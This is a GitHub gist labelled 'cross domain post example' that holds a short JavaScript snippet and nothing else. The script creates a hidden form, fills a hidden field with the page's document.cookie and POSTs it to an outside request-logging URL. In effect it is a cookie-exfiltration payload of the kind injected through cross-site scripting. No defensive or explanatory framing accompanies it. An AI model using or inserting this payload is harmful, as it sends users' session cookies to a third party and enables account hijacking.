Skip to content

Instantly share code, notes, and snippets.

@zhuzhuor
Created October 16, 2012 23:17
Show Gist options
  • Save zhuzhuor/3902693 to your computer and use it in GitHub Desktop.
Save zhuzhuor/3902693 to your computer and use it in GitHub Desktop.
cross domain post example
var ifr = document.createElement('iframe');
var frm = document.createElement('form');
frm.setAttribute("action", "http://requestb.in/xxx");
frm.setAttribute("method", "post");
var inp = document.createElement('input');
inp.type = 'hidden';
inp.name = 'cookies';
inp.value = document.cookie;
frm.appendChild(inp);
ifr.appendChild(frm);
document.body.appendChild(ifr);
frm.submit();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment